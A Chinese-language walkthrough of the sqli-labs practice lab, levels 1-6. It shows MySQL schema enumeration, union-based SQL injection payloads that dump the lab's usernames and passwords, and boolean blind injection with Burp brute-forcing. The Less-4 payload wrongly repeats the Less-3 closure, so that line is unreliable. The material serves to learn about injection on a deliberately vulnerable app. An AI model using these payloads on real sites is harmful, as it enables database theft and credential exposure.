sqli-labs wp

四个主要操作

  • 查库

    information_schema.schemata:存储所有数据库的名称

1
 select schema_name from information_schema.schemata;
  • 查表

    information_schema.tables:存储所有表的名称

1
 select table_name from information_schema.tables where table_schema='security';
  • 查列

    information_schema.columns:存储所有字段名

1
 select column_name from information_schema.columns where table_name='users';
  • 查字段
1
 select username,password from security.users;

常用命令

1
2
3
4
5
6
7
 system_user(); -- 管理员用户
 user(); -- 用户
 current_user(); -- 当前用户
 database(); -- 数据库名称
 version(); -- MySQL版本
 @@datadir; -- MySQL数据路径
 @@version_compile_os; -- 系统
  • 测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 select system_user();
 +----------------+
 | system_user() |
 +----------------+
 | root@localhost |
 +----------------+
 
 select user();
 +----------------+
 | user()         |
 +----------------+
 | root@localhost |
 +----------------+
 
  select current_user();
 +----------------+
 | current_user() |
 +----------------+
 | root@localhost |
 +----------------+
 
 select database();
 +------------+
 | database() |
 +------------+
 | security   |
 +------------+
 
 select version();
 +-----------+
 | version() |
 +-----------+
 | 5.7.26   |
 +-----------+
 
 select @@datadir;
 +----------------------------------------------+
 | @@datadir                                   |
 +----------------------------------------------+
 | D:\phpstudy_pro\Extensions\MySQL5.7.26\data\ |
 +----------------------------------------------+
 
 select @@version_compile_os;
 +----------------------+
 | @@version_compile_os |
 +----------------------+
 | Win64               |
 +----------------------+

Less-1 GET - Error based - Single quotes - String

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 -- 查看是否有注入
 SELECT * FROM users WHERE id='1' LIMIT 0,1;
 
 limit 0,1; -- 其中第一个是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据
 
 -- 查看有多少列
 SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1
 
 order by 3; -- 根据第三列数据进行排序,用来判断有表中有多少列
 
 -- 查看哪些数据可以回显
 SELECT * FROM users WHERE id='-1' union select 1,2,3 -- ' LIMIT 0,1
 
 union; -- 拼接两次查询结果,因为id=-1没有索引位置,只显示后面的查询结果,查看
 
 -- 查库
 SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata -- ' LIMIT 0,1
 
 group_concat(schema_name); -- 将多个查询结果拼接成一个字符串显示
 
 information_schema,challenges,mysql,performance_schema,school,security,sys
 
 -- 查表
 SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- ' LIMIT 0,1
 
 SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 -- ' LIMIT 0,1
 
 security=0x7365637572697479; -- 将security转化为16进制的数字,避免引入单引号问题
 
 emails,referers,uagents,users
 
 -- 查列
 SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 -- ' LIMIT 0,1

 users=0x7573657273
 
 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
 
 -- 查字段
 /* 方式一 */
 SELECT * FROM users WHERE id='-1' union select 1,group_concat(username),group_concat(password) from security.users-- ' LIMIT 0,1

 Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
 Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
 /* 方式二 */
 SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users-- ' LIMIT 0,1
 
 ~=0x7e
 concat_ws('~',A,B); -- 将字符串拼接 A~B
 
 Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4

Less-2 GET - Error based - Integer based

与Less-1的解题步骤相同,不同的是不需要使用单引号进行闭合

1
2
3
4
 -- 查字段语句
 SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(concat_ws('~',username,password)) from security.users LIMIT 0,1
 
 不需要单引号闭合,甚至不需要注释后面的内容

Less-3 GET - Error based - Single quotes with twist - String

与Less-1的解题步骤相同,不同的是闭合符号是('')

1
2
3
4
5
http://localhost/sqli-labs-master/Less-3/?id=1'

SELECT * FROM users WHERE id=('1'') LIMIT 0,1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
  • 第一步闭合单引号,根据报错信息''1'') LIMIT 0,1',先把最外面一层单引号去掉'1'') LIMIT 0,1,可以知道还有一个),没有闭合,所以知道闭合符号是('')
1
2
-- 查字段语句
SELECT * FROM users WHERE id=('-1') union select 1,2,group_concat(concat_ws('~',username,password)) from security.users -- ') LIMIT 0,1

Less-4 GET - Error based - Double Quotes - String

与Less-1的解题步骤相同,不同的说闭合符号是("")

1
2
-- 查字段语句
SELECT * FROM users WHERE id=('-1') union select 1,2,group_concat(concat_ws('~',username,password)) from security.users -- ') LIMIT 0,1

补充基础知识

  1. left()函数: left(a,b) ——从左侧截取a的前b位

    1
    2
    3
    4
    5
    6
    select left(database(),1);
    +--------------------+
    | left(database(),1) |
    +--------------------+
    | s |
    +--------------------+
  2. regexp()函数: regexp ‘a’ ——正则表达式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    select database() regexp 's';
    +-----------------------+
    | database() regexp 's' |
    +-----------------------+
    | 1 |
    +-----------------------+

    select database() regexp 'l';
    +-----------------------+
    | database() regexp 'l' |
    +-----------------------+
    | 0 |
    +-----------------------+
  3. like函数:like ‘se%’ ——与正则表达式匹配相似

    1
    2
    3
    4
    5
    6
    select database() like 'se%';
    +-----------------------+
    | database() like 'se%' |
    +-----------------------+
    | 1 |
    +-----------------------+
  4. substr()函数:substr(a,b,c) ——从位置b开始,截取a字符串c位长度

    1
    2
    3
    4
    5
    6
    select substr((select database()),1,5);
    +---------------------------------+
    | substr((select database()),1,5) |
    +---------------------------------+
    | secur |
    +---------------------------------+
  5. ascii():ascii(‘aaa’) ——将某个字符串转化为ascii值(只有第一位会转化)

    1
    2
    3
    4
    5
    6
    select ascii('security');
    +-------------------+
    | ascii('security') |
    +-------------------+
    | 115 |
    +-------------------+
  6. chr(数字) / ord(‘字母’) ——使用python中的两个函数可以判断当前的ascii值是多少

Less-5 - Double injection - Single Quotes - String(布尔盲注)

布尔盲注只能根据有无回显判断注入是否成功

1、查看有多少列

1
2
3
SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1

列数为3时有回显,最大列数是3

2、爆库

  • 方法一
1
SELECT * FROM users WHERE id='1' and left((select database()),2)='a'-- ' LIMIT 0,1

使用burp爆破,将a位置设置为变量,暴力破解

image-20230114113048426.png

image-20230114113129329.png

长度不一样说明爆破成功,后面一直尝试到所有字符成功,即为security

  • 方法二
1
SELECT * FROM users WHERE id='1' and ascii(substr((select database()),1,1))=115-- ' LIMIT 0,1

通过判断所查询第一个字符的ascii值进行判断,可以采用二分法的思想

3、爆表

1
SELECT * FROM users WHERE id='1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),2)='a'-- ' LIMIT 0,1

image-20230114124426845.png

4、爆列

5、爆字段

总而言之,还是用脚本做会更方便,但是目前不会写脚本,只能用burp慢慢试

Less-6 - Double - injection - Double Quotes - String

与Less-5解题步骤相同,不同的是闭合符号为""